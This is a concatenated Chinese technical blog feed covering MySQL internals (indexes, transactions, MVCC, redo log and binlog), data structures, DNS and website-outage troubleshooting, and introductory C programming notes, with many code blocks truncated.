而 MySQL 5.6 引入的索引下推优化(index condition pushdown), 可以在索引遍历过程中,对索引中包含的字段先做判断,直接过滤掉不满足条件的记录,减少回表次数。
无索引下推执行流程:
在上图中,在 (name,age) 索引里面特意去掉了 age 的值,这个过程 InnoDB 并不会去看 age 的值,只是按顺序把“name 第一个字是’张’”的记录一条条取出来回表。因此,需要回表 4 次。
索引下推执行流程:
InnoDB 在 (name,age) 索引内部就判断了 age 是否等于 10,对于不等于 10 的记录,直接判断并跳过。在我们的这个例子中,只需要对 ID4、ID5 这两条记录回表取数据判断,就只需要回表 2 次。
课程重点:
简单来说,事务就是要保证一组数据库操作,要么全部成功,要么全部失败。在 MySQL 中,事务支持是在引擎层实现的。
MyISAM 被 InnoDB 取代的重要原因之一,也是因为 MySQL 原生的 MyISAM 引擎就不支持事务。
提到事务,就离不开 ACID(Atomicity、Consistency、Isolation、Durability,即原子性、一致性、隔离性、持久性),今天来说说其中 I,也就是“隔离性”。
当数据库上有多个事务同时执行的时候,就可能出现:
为了解决上面这些问题,就有了“隔离级别”的概念,SQL 标准的事务隔离级别包括:
这四种隔离级别下,并行性能依次降低,安全性依次提高。
查看当前隔离级别:
1 | mysql> show variables like 'transaction_isolation'; |
在 MySQL 中,实际上每条记录在更新的时候都会同时记录一条回滚操作。记录上的最新值,通过回滚操作,都可以得到前一个状态的值。
假设一个值从 1 被按顺序改成了 2、3、4,在回滚日志里面就会有类似下面的记录。
当前值是 4,但是在查询这条记录的时候,不同时刻启动的事务会有不同的 read-view。如 图中看到的,在视图 A、B、C 里面,这一个记录的值分别是 1、2、4,同一条记录在系统 中可以存在多个版本,就是数据库的多版本并发控制(MVCC)。对于 read-view A,要 得到 1,就必须将当前值依次执行图中所有的回滚操作得到。
同时你会发现,即使现在有另外一个事务正在将 4 改成 5,这个事务跟 read-view A、B、 C 对应的事务是不会冲突的。
为什么不建议使用长事务?
长事务意味着系统里面会存在很老的事务视图。由于这些事务随时可能访问数据库里面的任何数据,所以这个事务提交之前,数据库里面它可能用到的回滚记录都必须保留,这就会导致大量占用存储空间。
除了对回滚段的影响,长事务还占用锁资源,也可能拖垮整个库。
MySQL 的事务启动方式有以下几种:
set autocommit=1
,显式启动事务语句,用 begin 或 start transaction 显式启动的事务。配套的提交语句是 commit,回滚语 句是 rollback。set autocommit=0
,这个命令会将这个线程的自动提交关掉。意味着如果你只执行一 个 select 语句,这个事务就启动了,而且并不会自动提交。这个事务持续存在直到你主动执行 commit 或 rollback 语句,或者断开连接。建议总是使用第一种 set autocommit=1
, 通过显式语句的方式来启动事务,因为第二种方式在长连接的情况下,可能会导致意外的长事务。
回滚日志是不可能一直保留的,当事务在不需要的时候,就会被删除,也就是说,系统会判断,当没有事务再需要用到这些回滚日志时,回滚日志就会被删除。
什么时候才不需要了呢?
就是当系统里没有比这个回滚日志更早的 read-view 的时候。
可以在 information_schema
库的 innodb_trx
这个表中查询长事务,比如下面这个语句,用于查找持续时间超过 60s 的事务。
1 | mysql> select * from information_schema.innodb_trx where TIME_TO_SEC(timediff(now(),trx_started))>60; |
课程重点:
索引的出现是为了提高查询效率,但是实现索引的方式却有很多种,所以这里也就引入了索引模型的概念。
常见的三种索引模型:
哈希表是一种以键 - 值(key-value)存储数据的结构,我们只要输入待查找的值即 key, 就可以找到其对应的值即 Value。
哈希的思路很简单,把值放在数组里,用一个哈希函数把 key 换算成一个确定的位置,然后把 value 放在数组的这个位置。
不可避免地,多个 key 值经过哈希函数的换算,会出现同一个值的情况。处理这种情况的 一种方法是,拉出一个链表。
优点:新增速度很快,只需要往后面追加。
缺点:因为不是有序的,区间查询速度很慢。
总结:哈希表只适合等值查询的场景,比如 Memcached 及其他一些 NoSQL 引擎。
有序数组在等值查询和范围查询场景中的性能就都非常优秀。
如果仅仅看查询效率,有序数组就是最好的数据结构了。但是,在需要更新数据的时候就麻
烦了,你往中间插入一个记录就必须得挪动后面所有的记录,成本太高。
总结:有序数组索引只适用于静态存储引擎。
二叉树是搜索效率最高的,但是实际上大多数的数据库存储却并不使用二叉树。
其原因是,索引不止存在内存中,还要写到磁盘上。
想象一下一棵 100 万节点的平衡二叉树,树高 20。一次查询可能需要访问 20 个数 据块。在机械硬盘时代,从磁盘随机读一个数据块需要 10 ms 左右的寻址时间。也就是说,对于一个 100 万行的表,如果使用二叉树来存储,单独访问一个行可能需要 20 个 10 ms 的时间。
为了让一个查询尽量少地读磁盘,就必须让查询过程访问尽量少的数据块。那么,我们就不 应该使用二叉树,而是要使用“N 叉”树。这里,“N 叉”树中的“N”取决于数据块的大小。
在 InnoDB 中,表都是根据主键顺序以索引的形式存放的,这种存储方式的表称为索引组织表。又因为前面提到的,InnoDB 使用了 B+ 树索引模型,所以数据都是存储在 B+ 树中的。
每一个索引在 InnoDB 里面对应一棵 B+ 树。
假设,有一个主键列为 ID 的表,表中有字段 k,并且在 k 上有索引。 这个表的建表语句是:
1 | mysql> create table T( id int primary key, |
表中 R1~R5 的 (ID,k) 值分别为 (100,1)、(200,2)、(300,3)、(500,5) 和 (600,6),两棵树 的示例示意图如下:
从图中可以看出,根据叶子节点的内容,索引类型分为主键索引和非主键索引。
主键索引的叶子节点存的是整行数据。在 InnoDB 里,主键索引也被称为聚簇索引 (clustered index)。
非主键索引的叶子节点内容是主键的值。在 InnoDB 里,非主键索引也被称为二级索引 (secondary index)。
基于主键索引和普通索引的查询有什么区别?
select * from T where ID=500
,即主键查询方式,则只需要搜索 ID 这棵 B+ 树;select * from T where k=5
,即普通索引查询方式,则需要先搜索 k 索引 树,得到 ID 的值为 500,再到 ID 索引树搜索一次。这个过程称为回表。也就是说,基于非主键索引的查询需要多扫描一棵索引树。因此,我们在应用中应该尽量使用主键查询。
B+ 树为了维护索引有序性,在插入新值的时候需要做必要的维护。以上面这个图为例,如 果插入新的行 ID 值为 700,则只需要在 R5 的记录后面插入一个新记录。如果新插入的 ID 值为 400,就相对麻烦了,需要逻辑上挪动后面的数据,空出位置。
而更糟的情况是,如果 R5 所在的数据页已经满了,根据 B+ 树的算法,这时候需要申请一 个新的数据页,然后挪动部分数据过去。这个过程称为页分裂。在这种情况下,性能自然会 受影响。
除了性能外,页分裂操作还影响数据页的利用率。原本放在一个页的数据,现在分到两个页 中,整体空间利用率降低大约 50%。
当然有分裂就有合并。当相邻两个页由于删除了数据,利用率很低之后,会将数据页做合
并。合并的过程,可以认为是分裂过程的逆过程。
基于以上索引维护过程说明,如果每次插入
一条新记录,都是追加操作,都不涉及到挪动其他记录,也不会触发叶子节点的分裂,这样就能最大程度的维护好索引的有序性。
而这种“自动追加操作”,就是自增主键的插入数据模式。
而有业务逻辑的字段做主键,则往往不容易保证有序插入,这样写数据成本相对较高。
除了考虑性能外,我们还可以从存储空间的角度来看。假设你的表中确实有一个唯一字段,
比如字符串类型的身份证号,那应该用身份证号做主键,还是用自增字段做主键呢?
由于每个非主键索引的叶子节点上都是主键的值。如果用身份证号做主键,那么每个二级索 引的叶子节点占用约 20 个字节,而如果用整型做主键,则只要 4 个字节,如果是长整型 (bigint)则是 8 个字节。
显然,主键长度越小,普通索引的叶子节点就越小,普通索引占用的空间也就越小。
所以,从性能和存储空间方面考量,自增主键往往是更合理的选择。
有没有什么场景适合用业务字段直接做主键的呢?还是有的。比如,有些业务的场景需求是这样的:
这就是典型的 KV 场景。由于没有其他索引,所以也就不用考虑其他索引的叶子节点大小的问题。
链表是一种非常常见的数据结构,有多种扩展的链表:
链表的特点是:
适用场景:数据量较小,需要频繁增加,删除操作的场景
数组也是线性排列的一种数据结构。
数组的特点是:
适用场景:频繁查询,对存储空间要求不大,较少增加和删除的场景
栈也是一种数据呈线性排列的数据结构。
栈的特点是:
队列是类似栈的数据结构。
队列的特点是:
哈希表是根据键值对直接进行访问的数据结构。
哈希表的特点是:
堆是一种图的树形结构。
堆的特点是:
二叉查找树(又叫二叉搜索树或二叉排序树)是一种图形的数据结构。
二叉查找树的特点是:
图是由结点的有穷集合V和边的集合E组成,图的数据结构比较复杂,在存储数据上有着比较复杂和高效的算法,分别有邻接矩阵 、邻接表、十字链表、邻接多重表、边集数组等存储结构。
]]>栈是一种只能从表的一端存取数据且遵循 “后进先出 LIFO(Last In First Out)” 原则的线性存储结构。
通常,栈的开口端被称为栈顶,允许进行插入和删除;相应地,封口端被称为栈底,不允许进行插入和删除。
基于栈结构的特点,在实际应用中,通常只会对栈执行以下两种操作:
栈的基本操作:
void InitStack(SqStack &S);
// 初始化一个空栈bool StackEmpty(SqStack S);
// 判断一个栈是否为空, 若找 s 为空则返回 true,否则返回 false。bool Push(SqStack &S, ElemType x);
// 进栈,若栈 s 未满,则将 x 压入栈bool Pop(SqStack &s, ElemType &x);
// 出栈,若栈 S 非空,则弹出栈顶元素, 并用 x 返回。bool GetTop(SqStack S, ElemType &x);
// 读栈顶元素,若栈 s 非空,则用 x 返回栈顶元素。void DestroyStack(SqStack&S);
// 销毁栈,并释放栈 s 占用的存储空间。bool StackOverflow(SqStack S);
// 判断栈是否满int StackLength(SqStack S);
// 栈元素个数采用顺序存储结构可以模拟栈存储数据的特点,从而实现栈存储结构。
1 |
|
采用链式存储结构实现栈结构。
1 | /** |
定义:由 N(N >= 0)个相同类型的元素组成的有序集合。
1 | L = (a1, a2, , ai-1, ai, ai+1, , an); |
数组是一种线性表,但是不能说线性表就是数组。
线性表可以用数组实现(顺序表),也可以用链表实现(单链表、双链表)。
n=0
时,为空表。线性表的特点:
使用顺序储存实现线性表的优点:
缺点:
线性表基本操作主要有:
bool InitList(SqList &L)
:初始化表。构造一个空的线性表。int LocateElem(SqList L, ElemType e)
:按值查找操作。在表 L 中查找具有给定关键宇值的元素。ElemType GetElem(SqList L, int i)
:按位查找操作。获取表 L 中第 i 个位置的元素的值。bool ListInsert(SqList &L, int i, ElemType e)
:插入操作。在表 L 中的第 i 个位置上插入指定元素 e。bool ListDelete(SqList &L, int i, ElemType &e)
:删除操作。删除表 L 中第 i 个位置的元素,并用 e 返回删除元素的值。int Length(SqList L)
:返回线性表 L 的长度,即 L 中数据元素的个数。bool Empty(SqList L)
:判空操作。若 L 为空表, 则返回 true,否则返回 false。bool DestroyList(SqList &L)
:销毁操作。销毁线性表,井释放线性表 L 所占用的内存空间。1 |
|
最好情况:在表尾插入元素,不需要移动元素,时间复杂度为 O(1)
最坏情况:在表头插入元素,所有元素依次后移,时间复杂度为 O(n)
平均情况:在插入位置概率均等的情况下,平均移动元素的次数为 n/2,时间复杂度为 O(n)
时间复杂度的计算忽略高阶项的系数,
scanf 传递时,为什么后台需要给一个地址?
其实就是指针传递的使用场景。
头指针:链表中第一个结点的存储位置,用来标识单链表
头结点:在单链表第一个结点之前附加的一个结点,为了操作上的方便
若链表有头结点,则头指针永远指向头结点,不论链表是否为空,头指针均不为空,头指针是链表的必须元素,他标识一个链表。
头结点是为了操作的方便而设立的,其数据域一般为空,或者存放链表的长度。
有了头结点之后,对在第一结点钱插入和删除第一结点的操作就统一了,不需要频繁重置头指针。但头结点不是必须的。
1 |
|
1 |
|
在计算机科学中,数据结构(英语:data structure)是计算机中存储、组织数据的方式。
——维基百科
数据结构是一种具有一定逻辑关系,在计算机中应用某种存储结构,并且封装了相应操作的数据元素集合。
它包含三方面的内容,逻辑关系、存储关系及操作。
逻辑结构是指数据元素之间的逻辑关系,即从逻辑关系上描述数据。它与数据的存储无关,是独立于计算机的
数据的逻辑结构分为线性结构和非线性结构
存储结构是指数据结构在计算机中的表示(又称映像),也称物理结构。它包括数据元素的表示和关系的表示。数据的存储结构是逻辑结构用计算机语言的实现,它依赖于计算机语言。数据的存储结构主要有:顺序存储、链式存储、索引存储和散列存储。
存储结构可以分为两类:
C 语言实现顺序存储:
1 | int arr[6] = {1,2,3,4,5,6}; // 定义数组并初始化 |
顺序结构的优点:
缺点:
C 语言实现链式存储:
1 | typedef struct Lnode |
链式结构的优点:
缺点:
在上面的例子中,A 只知道 B 的地址,B 只知道 C 的地址,A 不能直接访问到 C,因为它不知道 C 的地址。
这就是链式结构只能实现顺序存储的原因。
数据结构研究的内容,就是如何按一定的逻辑结构(线性结构还是树形结构),把数据组织起来,并选择适当的存储结构(顺序存储还是链式存储)把逻辑结构组织好的数据存储到计算机的储存器里。
算法研究的目的是为了更有效的处理数据,提高数据运算效率。数据的运算是定义在数据的逻辑结构上,但运算的具体实现要在存储结构上进行。一般有以下几种常用运算:
当有一条记录需要更新的时候,InnoDB 引擎就会先把记录写到 redo log 里面,并更新内存,这个时候更新就算完成了。
同时,InnoDB 引擎会在适当的时候, 将这个操作记录更新到磁盘里面,而这个更新往往是在系统比较空闲的时候做。
与此类似,InnoDB 的 redo log 是固定大小的,比如可以配置为一组 4 个文件,每个文件 的大小是 1GB,那么一共可以记录 4GB 的操作。从头开始写,写到末尾就 又回到开头循环写,如下面这个图所示。
write pos 是当前记录的位置,一边写一边后移,写到第 3 号文件末尾后就回到 0 号文件 开头。checkpoint 是当前要擦除的位置,也是往后推移并且循环的,擦除记录前要把记录更新到数据文件。
write pos 和 checkpoint 之间的是剩余空着的部分,可以用来记录新的操作。如 果 write pos 追上 checkpoint,表示“粉板”满了,这时候不能再执行新的更新,得停下 来先擦掉一些记录,把 checkpoint 推进一下。
有了 redo log,InnoDB 就可以保证即使数据库发生异常重启,之前提交的记录都不会丢 失,这个能力称为crash-safe。
MySQL 整体来看,其实就有两块:一块是 Server 层,它主要做的是 MySQL 功能层面的事情;还有一块是引擎层,负责存储相关的具体事宜。上面我们聊到 redo log 是 InnoDB 引擎特有的日志,而 Server 层也有自己的日志,称为 binlog(归档日志)。
redo log 与 binlog 有以下几点区别:
执行器和 InnoDB 引擎在执行这个简单的 update 语句时的内部流程:
下面这个图是 Update 语句执行流程图,图中浅色框表示在 InnoDb 内部执行的,深色框表示是在执行器中执行的。
你可能注意到了,最后三步看上去有点“绕”,将 redo log 的写入拆成了两个步骤: prepare 和 commit,这就是”两阶段提交”。
两阶段提交的提交的目的是为了保证 redo log 和 binlog 两个状态在逻辑上一致,要么都成功,要么都不成功。
由于 redo log 和 binlog 是两个独立的逻辑,如果不用两阶段提交,要么就是先写完 redo log 再写 binlog,或者采用反过来的顺序。我们看看这两种方式会有什么问题。
仍然用前面的 update 语句来做例子。假设当前 ID=2 的行,字段 c 的值是 0,再假设执行 update 语句过程中在写完第一个日志后,第二个日志还没有写完期间发生了 crash,会出 现什么情况呢?
可以看到,如果不使用“两阶段提交”,那么数据库的状态就有可能和用它的日志恢复出来 的库的状态不一致。
redo log 和 binlog 都可以用于表示事务的提交状态,而两阶段提交就是让这两 个状态保持逻辑上的一致。
]]>MySQL 的逻辑架构图:
大体来说,MySQL 可以分为 Server 层和存储引擎层两部分。
不同的存储引擎共用一个Server 层,Server 层包括连接器、查询缓存、分析器、优化器、执行器等,涵盖 MySQL 的大多数核 心服务功能,以及所有的内置函数(如日期、时间、数学和加密函数等),所有跨存储引擎 的功能都在这一层实现,比如存储过程、触发器、视图等。
而存储引擎层负责数据的存储和提取。其架构模式是插件式的,支持 InnoDB、MyISAM、Memory 等多个存储引擎。现在最常用的存储引擎是 InnoDB,它从 MySQL 5.5.5 版本开 始成为了默认存储引擎。
执行一条 select 分为五个步骤:
连接器负责跟客户端建立连接、获取权限、维持和管理连接。
连接命令:
1 | mysql -h$ip -P$post -u$user -p |
连接命令中的 mysql 是客户端工具,用来跟服务端建立连接。在完成经典的 TCP 握手后, 连接器就要开始认证你的身份,这个时候用的就是你输入的用户名和密码。
连接完成后,如果你没有后续的动作,这个连接就处于空闲状态,你可以在 show processlist 命令中看到它。
文本中这个图是 show processlist
的结果,其中的 Command 列显示为“Sleep”的这一行,就表示现在系统里面有一个空闲连接。
数据库里面,长连接是指连接成功后,如果客户端持续有请求,则一直使用同一个连接。短 连接则是指每次执行完很少的几次查询就断开连接,下次查询再重新建立一个。
MySQL 拿到一个查询请求后,会先到查询缓存看看,之前是不是执行过这条语句。之前执 行过的语句及其结果可能会以 key-value 对的形式,被直接缓存在内存中。key 是查询的 语句,value 是查询的结果。如果你的查询能够直接在这个缓存中找到 key,那么这个 value 就会被直接返回给客户端。
如果语句不在查询缓存中,就会继续后面的执行阶段。执行完成后,执行结果会被存入查询 缓存中。你可以看到,如果查询命中缓存,MySQL 不需要执行后面的复杂操作,就可以直 接返回结果,这个效率会很高。
但是大多数情况下,不会建议使用查询缓存,这是因为查询缓存往往弊大于利——查询缓存的失效非常频繁,只要有对一个表的更新,这个表上所有的查询缓存都会被清空。
如果没有命中查询缓存,就要开始真正执行语句了。
分析器先会做“词法分析”。你输入的是由多个字符串和空格组成的一条 SQL 语句,MySQL 需要识别出里面的字符串分别是什么,代表什么。
“语法分析”则是,根据语法规则,判断你输入的这个 SQL 语句是否满足 MySQL 语法。
如果你的语句不对,就会收到“You have an error in your SQL syntax“ 的错误提醒。
经过了分析器,MySQL 就知道你要做什么了。在开始执行之前,还要先经过优化器的处理。
优化器是在表里面有多个索引的时候,决定使用哪个索引;或者在一个语句有多表关联 (join)的时候,决定各个表的连接顺序。
优化器阶段完成后,这个语句的执行方案就确定下来了,然后进入执行器阶段。
开始执行的时候,要先判断一下你对这个表 T 有没有执行查询的权限,如果没有,就会返 回没有权限的错误,如下所示:
1 | mysql> select * from T where ID = 10; |
如果有权限,就打开表继续执行。打开表的时候,执行器就会根据表的引擎定义,去使用这 个引擎提供的接口。
比如我们这个例子中的表 T 中,ID 字段没有索引,那么执行器的执行流程是这样的:
至此,这个语句就执行完成了。
对于有索引的表,执行的逻辑也差不多。第一次调用的是“取满足条件的第一行”这个接 口,之后循环取“满足条件的下一行”这个接口,这些接口都是引擎中已经定义好的。
你会在数据库的慢查询日志中看到一个 rows_examined 的字段,表示这个语句执行过程中 扫描了多少行。这个值就是在执行器每次调用引擎获取数据行的时候累加的。
]]>这篇文章就来整理一下,为什么同一个网站,有些地方可以访问,有一些地方又无法访问。
在回答上面的问题之前,我们来看一下完整的网络请求大概需要经历哪些过程。
成功访问网站包含以下两个阶段,这两个阶段缺一不可,需要同时成功才能正常访问网站,如下图所示:
DNS根据访问请求中的域名解析出对应的IP地址并返回解析结果。
在此阶段,出现如下情况将导致网站无法访问:
访问网站服务器IP获取网站内容。
在此阶段,出现如下情况,即使DNS成功解析域名的IP地址,网站仍然无法访问:
说了这么多,为什么我可以访问?而他们访问不了?
我能正常访问,他们切换成数据也能正常访问,足以说明网站是正常的。
他们使用 WIFI 访问不了,很可能就是 DNS 没有正常解析出来对应的IP地址。
而解析不成功的原因就有很多了:
这时可以选择手动设置 DNS,从而避免运营商自动获取 DNS 不稳定等问题。
不同操作系统设置方式不一样,具体步骤可以自行百度。
解析不生效的原因包括:
以域名 example.com 为例,排除解析不生效可采用如下流程:
ping其他域名,检查域名解析是否生效?
打开终端,执行以下命令:
验证NS类型解析:用于指定解析服务商的 DNS 地址。
查询指定权威DNS的域名解析是否生效。
dig example.com@8.8.8.8
或者 dig example.com@114.114.114.114
命令,检查公共DNS解析是否生效,建议把本地dns改成公共dns。如果域名未进行实名认证,则域名会被注册局会暂停解析,解析不生效。更多阅读为什么域名解析成功但网站仍然无法访问?
五月十二日晚上六点半,刚刚上线了一个版本,今天是自己生日,提前预定了一个蛋糕,准备下班了。
收拾好桌面,左脚都已经离开工位了,突然被同事叫住,被告知网站怎么打不开了,我想都没想就说,你确定吗?我刚刚都还打开过。
他表情凝重的告诉我,是真的。
于是我熟练地打开相关客户端,只见满屏的“网络异常”,此时我才意识到可能是真的出大问题了。
因为两分钟前,我刚上线了一个版本,所以第一时间我以为是是不是我误操作了什么造成的,一下子就慌了。
WebService、站点、DB依次过了一遍相关的日志,没有发现任何异常,此刻我更不安了,因为找不到问题的问题,往往是最难解决的。
同一个服务器下面的其他站点都是正常的,慌乱之中,有想过是否是域名过期了,排查之后发现域名并没有过期。
在经过长达半个小时的排查之后,发现竟然是网站没有备案,导致整个站点被停了…
有些事情往往就是这么巧。
为了避免以后再次遇到类似的问题,整理一下网站无法访问的常见排查思路。
网站的访问与域名的状态、域名实名认证状态、网站备案状态、解析是否生效、网站网络环境等多个环节有关系。在这些环节中,任意一个环节出现问题,都会导致网站无法访问。
通常通过 whois 平台,可以查询域名的注册商、注册周期、状态、DNS服务器等注册信息。
通过这些信息可以快速判断,网站无法访问是否与域名有关。
常用 whois 查询平台:
通过域名成功访问网站的其中一个条件是,域名到IP地址的解析生效。因此,检查域名解析是否成功,是必不可少的一步。
使用查询命令检测是否生效
解析记录配置错误会导致无法将域名解析到正确的IP地址,从而导致网站无法访问。
这一步往往需要登录到对应的服务器的控制台进行查看,此处就跳过了。
对于服务器部署在中国大陆区域的网站,如果未进行备案,或者备案审核未通过,则会导致网站访问网站被阻断。
常用备案查询平台:
若域名状态正常、解析生效、网站备案审核通过,网站仍然无法访问,需要进一步查看网站的本地网络以及网站的服务器配置。
这一步则是检查是否是因为服务器自身原因而导致不可用,原因较多,这里只列举几个常见的方向:
如果上述检查全部没有问题,网站仍然无法访问,可以尝试联系对应的服务商,通过提交工单寻求帮助。
为什么要学习C 语言?
C 语言是无可替代的存在,有些事情只能是C 语言来完成,比如写操作系统。
学习C 语言的目的并不是精通C,而是理解C 语言的编译过程及内存变化的原理,使用C 去练习各种数据结构。
这些才是学习C 语言的目的。
工欲善其事必先利其器,编写 C语言程序的工具非常多:
根据个人喜好进行选择,前期入门建议使用轻量级的 IDE,这里我选择的是 VSCode。
.vscode
:基于当前工作区生成的配置文件目录,其中主要包含以下文件:
tasks.json
:编译器构建设置launch.json
:调试器设置c_cpp_properties.json
:编译器路径和IntelliSense设置每次创建一个新的项目(Demo),建议创建一个目录,因为每次编译运行.c
文件,都会额外生成一些文件:
main
:对应的可执行文件main.dsYM
:Xcode 生成的文件正式开始之前,确保本地环境已经安装了 gcc
或者其他编译器。
使用 VSCode 运行 C程序非常简单,只需要在对应的 C文件下点击运行或者使用 ^F5
即可。
在正式开始调试之前,需要先安装一个扩展:
安装完成之后,将 launch.json
中的 type
配置项改为 lldb
,其他部分不用做修改
1 | { |
这个表示选择对应的调试器,刚才安装的 C/C++
就是一个调试器
调试程序非常简单,只需要在对应代码的前面加上断点,然后点击调试即可。
仅仅只靠编译是没有办法得到可执行文件的,编译器编译仅仅只是得到了本地文件,最终想到得到可执行文件,还需要进行“链接”处理。
在Windows 下,编译后生成的并不是exe
文件,而是扩展名为.obj
的目标文件; 在Unix 下,编译后生成的并不是可执行文件,而是扩展名为.o
的目标文件。
这些文件无法执行运行,因为编译过只是检查语法(函数、变成声明)是否正确。
在Mac 下编译main.c
文件:
1 | gcc -c main.c |
找到所要用到的函数所在的目标文件并结合,最终生成一个可执行文件的过程就是链接。执行链接的程序被成为链接器。
在Mac 下链接 main.c
文件:
1 | gcc main.o -o main |
将编译、链接合并成一步:
1 | gcc main.c |
总结:
main.c
:源代码文件main.o
:源代码文件通过编译之后生成的本地代码(机器语言)main
:可执行文件a.out
:可执行文件(默认名称)在C 语言中,数据类型大致可以分为以下几种:
类型 | 存储大小 | 值范围 |
---|---|---|
char | 1 字节 | -128 到 127 或 0 到 255 |
unsigned char | 1 字节 | 0 到 255 |
signed char | 1 字节 | -128 到 127 |
int | 2 或 4 字节 | -32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647 |
unsigned int | 2 或 4 字节 | 0 到 65,535 或 0 到 4,294,967,295 |
short | 2 字节 | -32,768 到 32,767 |
unsigned short | 2 字节 | 0 到 65,535 |
long | 4 字节 | -2,147,483,648 到 2,147,483,647 |
unsigned long | 4 字节 | 0 到 4,294,967,295 |
类型 | 存储大小 | 值范围 | 精度 |
---|---|---|---|
float | 4 字节 | 1.2E-38 到 3.4E+38 | 6 位有效位 |
double | 8 字节 | 2.3E-308 到 1.7E+308 | 15 位有效位 |
long double | 16 字节 | 3.4E-4932 到 1.1E+4932 | 19 位有效位 |
需要注意的是,各种类型的存储大小与系统位数有关,但目前通用的以64位系统为主。
在 C 语言中,通过取地址符(&) 即可看见变量在内存所占空间大小。
C 语言中的数据类型:
在C 语言中,并没有对应的字符串变量,不会像PHP 语言专门有一个String
类型来存储对应的字符变量。
那么该如何存储字符串呢?
在C 语言中,是通过字符数组来存储字符串的。
字符串是由字符组成的,对于计算机而言,字符串是由一个个字符组成的,而一个字符的大小是一个字节。
China 这个字符串在计算机中,所占的大小是六个字节而不是五个,这是因为最后一个字符是由\0
结尾,也需要占用一个字节。
C 语言在做混合运算时,因为是强类型的语言,当做算术运算时,C 语言会按照变量的数据类型去进行运算。
在以下示例中,如果直接进行运算,得到的结果并不是我们所期望的:
1 | int main |
所以为了能正常输出 2.5
,需要将这个表达式给转换为为浮点型。
1 | int main |
再来看另外一个例子:
1 |
|
为什么得到的结果不是 3 ,而是 2?
这是因为C 语言,对于没有声明为变量的浮点型会默认转换为 double
双精度类型:
而如果另一个变量的并不是浮点类型,比如是 float
类型,此时这两个精度不一样的浮点数直接进行运算就会丢失精度。
所以呢,在C 语言中进行算术运算时,需要保证数据类型在预期内。
对于上面的问题,有两种方案:
double
类型float
类型运算符的种类:
i++
和 ++i
的区别:
i++
是先进行运算符,最后才对变量 i 进行+1
++i
则刚好是相反的,先对变量 i 进行 +1
,然后进行其他运算1 |
|
C 语言中没有布尔类型。
C 语言认为一切非零的值都是真。
下面这段代码这样写是有问题的,因为 char
类型所占空间大小是一个字节,而 scanf
获取标准输入的是一个整型,而整型所占空间大小又是四个字节,所以这段代码运行之后会报错。
1 |
|
正确的实例,应该是这样,定义变量时,使用 int
类型去定义
1 |
|
整型、浮点型、字符型需要使用取地址符。
printf
函数:
%d
:以整型输出对应数据%f
:以浮点型输出对应数据%c
:以字符型输出对应数据当一次读取一行内容时,可以使用 gets
1 | char c[20]; |
使用 scanf 获取标准输入时,会遇到一个问题,当输入的字符中间存在空格时,会结束匹配,这样就没有办法把一行带有空格的字符串存到一个字符数组中了。
gets 的原理:
会从缓冲区中一直进行读取,直到遇到 \n
结束符。
而 scanf
则会匹配 \n
结束符之前的所有内容,也就是它会把 \n
结束符留在缓冲区中。所以当 scanf
和 gets
函数一起使用时,需要主动去掉结束符。
1 |
|
否则 gets
获取不到标准输入。
输出字符串。
1 | puts()、 |
C 语言的数组。
使用C 语言的数组时,需要注意哪些问题?
\0
,所以当使用数组存在字符串常量时,需要注意数组的索引长度字符串为什么需要有结束符?
因为需要有一个结束符,能让C 语言知道这个字符在什么位置结束。
在Mac 下,数组一旦越界了,编译会过不了。
C 语言规定字符串的结束标记为 \0
,系统会对字符串常量自动加一个 \0
,所以字符数组存储的字符串长度必须比字符数组少 1 字节。
整型数组在传递实参时,需要一并把数组的长度给传过去。
而字符数组则不用,
每一个函数在执行完成之后,都会被栈空间释放掉。
函数间的调用关系是,由主函数调用其他函数,其他函数之间也可以相互调用,同一个函数可以被一个或者多个函数调用 N 次。
函数的声明与定义是有区别的:
C 语言的局部变量、全局变量和其他语言是很像的,没有太多需要注意的地方,只是在 C 语言中尽量不要使用全局变量,程序容易出错。
获取字符数组的索引长度使用 sizeof
,获取字符数组的字符长度使用 strlen
。
遍历一个字符数组时,尽管输出的是 1
,但要明确它是一个字符类型,而不是整型。
所以在进行比较时,需要时刻保证等式两边的数据类型是一致的。
1 |
|
在做 C 语言字符串拼接、替换相关的题目时,需要注意使用 \0
作为结束符。
scanf
会从缓冲区中读取对应的内容,直至遇到 \n
才会停止读取,不会读取 \n
。
而 gets
函数也是从缓冲区里面读取,遇到 \n
就结束。
所以使用完 scanf
之后,如果不主动消除 \n
,直接使用 gets
会导致程序直接向下继续执行,因为 gets
读取到的是结束符 \n
。
指针的本质就是地址。
一个变量在内存中,可以分为两部分:编址(变量的地址)和具体的值。
如果想把某个变量的地址保存下来,就需要用到指针。
& 是取地址符号,也称为引用,通过该操作符可以获取一个变量的地址值。* 是取值操作符,也称为解引用,通过这个操作符可以获取一个地址对应的数据。
指针的使用场景总结下来只有两种:
函数具有自己的内存空间,在某个函数中定义了一个变量之后,就会在这个内存中开辟对应大小的内存空间。
值传递是不会改变原值的。
&
符号的作用是获取变量的地址,*
符号的作用是通过变量的地址获取对应的值。
1 |
|
字符数组的数组名里存的就是字符数组的起始地址。类型是字符指针。
数组名的类型是数组,里面存了一个值,就是数组的起始地址,
1 |
|
1 |
|
数组在传递时会弱化为指针:
1 |
|
一维数组在进行函数调用时,为什么它的长度子函数没有办法知道?
这是因为一位数组的数组名存储的是数组的首地址(也就是索引为零的值的地址),压根就不是数组,所以没有办法直接知道对应长度。
1 | void change(char *d) |
为什么在子函数内部可以对数组进行访问和修改?
这里其实用到了指针的传递与偏移。
数组一开始定义好就确定下来了,数组是放在栈空间的。
栈空间的大小在编译时是确定的,如果使用大小不确定,那么就要使用堆空间。
申请堆空间,会把一个连续的 N 个字节的空间给你,返回的是一个起始地址。malloc
申请空间的单位是字节。
1 |
|
野指针是什么?
当一个指针指向一块空间,而这个空间又不属于它,这就是野指针。
使用结构体之前,需要先声明:
1 | struct student |
定义一个结构体变量:
1 | struct student student1 = {1001, "boo", 23}; |
定义一个结构体数组变量:
1 | struct student sarr[3] = { |
.
操作符用来访问结构体变量,->
操作符用来访问指针的成员。
结构体指针就是结构体变量所占据的内存段的起始地址。
1 |
|
比如如果需要定义一个结构体变量,每次都需要写一个 struct xxx
,这个显然是很麻烦的事情。
typedef
关键字的作用就是声明新的类型名来代替已有的类型名。
1 |
|
C++ 的引用其实就是在子函数中改变主函数的某个变量的值。
C 也可以做到,只不过相比起来 C++ 的写法更简洁一些。
1 |
|
所有的 git 仓库的根目录下面都有个 .git
文件, 它默认是隐藏的,.git
文件夹结构如下:
各文件里面存储的内容:
文件夹 | 类型 | 作用 |
---|---|---|
hooks | 文件夹 | 包含客户端或服务端的钩子脚本; 我们最常用的就是pre-commit钩子了 |
